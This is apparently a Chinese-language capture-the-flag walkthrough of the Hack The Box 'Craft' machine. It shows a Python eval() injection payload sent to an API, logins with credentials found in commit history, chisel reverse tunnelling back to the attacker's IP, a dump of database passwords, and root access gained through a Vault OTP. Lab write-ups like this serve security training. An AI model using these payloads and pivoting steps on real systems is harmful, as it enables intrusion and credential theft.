端口扫描

┌──(mikannse㉿kali)-[~/HTB/craft]
└─$ sudo nmap --min-rate=10000 -p- 10.10.10.110
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-05 11:19 CST
Warning: 10.10.10.110 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.110
Host is up (0.073s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
443/tcp open https
6022/tcp open x11

Nmap done: 1 IP address (1 host up) scanned in 10.23 seconds
┌──(mikannse㉿kali)-[~/HTB/craft]
└─$ sudo nmap -sT -sV -sC -O -p22,443,6022 10.10.10.110
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-05 11:19 CST
Nmap scan report for 10.10.10.110
Host is up (0.072s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_ssl-date: TLS randomness does not represent time
|_http-title: About
| tls-nextprotoneg:
|_ http/1.1
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after: 2020-06-20T02:25:47
6022/tcp open ssh (protocol 2.0)
| ssh-hostkey:
|_ 2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-Go
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.94SVN%I=7%D=9/5%Time=66D9235F%P=x86_64-pc-linux-gnu%r(
SF:NULL,C,"SSH-2\.0-Go\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.20 seconds

Web

经过一番探测之后,发现有api与gogs两个子域名,添加到hosts

api似乎没有能够利用的点,那么只能看gogs了。在explore中能找到一个craft仓库,把仓库下载下来。但无从下手。有一则issus,能得到Dinesh这个人的token。看到一下commit记录。在c414这个记录中dinesh添加了一段:

+        if eval('%s > 1' % request.json['abv']):

+ return "ABV must be a decimal value less than 1.0", 400

+ else:

+ create_brew(request.json)

+ return None, 201

这里会将传入的abv的值进行eval,eval可以利用来进行命令执行,像是:

>>> eval("__import__('os').system('whoami')")
mikannse
0

并且在a2d2的commite中找到了dinesh的密码:auth=(‘dinesh’, ‘4aUh0A8PbVJxgd’)

┌──(mikannse㉿kali)-[~/…/craft-api/craft_api/api/brew]
└─$ curl -u dinesh:4aUh0A8PbVJxgd "https://api.craft.htb/api/auth/login" -k
{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNzI1NTExMDIzfQ.oRS2Cbe5yuvNL-SYxaA4q9IRQMHlqz1H3Mhj48glezs"}

可以利用下载的仓库中的test.py来测试,本地开启tcpdump来接收icmp包

#!/usr/bin/env python

import requests
import json

response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token = json_response['token']

headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }

# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

print("Create real ABV brew")
brew_dict = {}
brew_dict['abv'] = '__import__("os").system("ping -c 1 10.10.14.11")'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data,verify=False)
print(response.text)
┌──(mikannse㉿kali)-[~/HTB/craft]
└─$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
12:56:18.367325 IP craft.htb > 10.10.14.11: ICMP echo request, id 38942, seq 0, length 64
12:56:18.367404 IP 10.10.14.11 > craft.htb: ICMP echo reply, id 38942, seq 0, length 64

发现成功接收!做个反弹shell,靶机上没有bash,用sh。

docker逃逸

是root权限,是在docker中,稍微进行了一个主机探测,结果发现有7台主机存活???

在settings.py中找到数据库配置文件

# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False

并且主机是db

/opt/app/craft_api # ping db
PING db (172.20.0.4): 56 data bytes
64 bytes from 172.20.0.4: seq=0 ttl=64 time=0.063 ms
64 bytes from 172.20.0.4: seq=1 ttl=64 time=0.083 ms
64 bytes from 172.20.0.4: seq=2 ttl=64 time=0.091 ms

也就是说.4这台是数据库主机,但是靶机上没有mysql…

于是掏出chishel做一个远程端口转发

┌──(mikannse㉿kali)-[~/HTB/craft]
└─$ ./chisel server -p 10000 --reverse
2024/09/05 13:37:50 server: Reverse tunnelling enabled
2024/09/05 13:37:50 server: Fingerprint fcl7jRMQEsVWcKxfMmtEYeQDdbIofqDT9aRxRLSQDQU=
2024/09/05 13:37:50 server: Listening on http://0.0.0.0:10000
2024/09/05 13:39:16 server: session#1: tun: proxy#R:3306=>172.20.0.4:3306: Listening
/tmp # ./chisel client 10.10.14.11:10000 R:3306:172.20.0.4:3306 &
/tmp # 2024/09/05 05:29:11 client: Connecting to ws://10.10.14.11:10000
2024/09/05 05:29:12 client: Connected (Latency 70.088168ms)
┌──(mikannse㉿kali)-[~/HTB/craft]
└─$ mysql -h vpnip -p3306 -ucraft -p --skip-ssl
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 15
Server version: 8.0.15 MySQL Community Server - GPL

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| craft |
| information_schema |
+--------------------+
2 rows in set (0.074 sec)

MySQL [(none)]> use craft
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [craft]> show tables;
+-----------------+
| Tables_in_craft |
+-----------------+
| brew |
| user |
+-----------------+
2 rows in set (0.073 sec)

MySQL [craft]> select * from user;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | dinesh | 4aUh0A8PbVJxgd |
| 4 | ebachman | llJ77D8QFkLPQB |
| 5 | gilfoyle | ZEU3N8WNM2rh4T |
+----+----------+----------------+
3 rows in set (0.071 sec)

得到三个用户的密码,但是试了一下都不是ssh的凭证,那就回到gogs登录

用gilfoyle的账户登录之后发现他还有一个仓库,里面由他的ssh私钥,私钥登录,私钥的密码就是数据库里的那个

提权

发现家目录有一个.vault-token,Vault 是 HashiCorp 开发的一种工具,用于安全地管理机密信息(如 API 密钥、密码、证书等)和服务之间的安全通信

用token登录上之后,可以用vault来生成一个一次性的ssh密码来以root身份登录ssh

gilfoyle@craft:~$ vault login f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
gilfoyle@craft:~$ vault ssh -role root_otp -mode otp root@10.10.10.110
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 4ca3f0bc-a3e3-4e96-1f7a-50b22f038f97
<SNIP>
Password:
Linux craft.htb 6.1.0-12-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.52-1 (2023-09-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Nov 16 07:14:50 2023
root@craft:~# whoami
root

碎碎念

质量很高的靶机,对git仓库以及api操作的考察结合的非常好,docker逃逸对于主机探测以及端口转发的考察。最后提权用到的vault不是很熟悉的服务,但是更加接近真实环境,赞!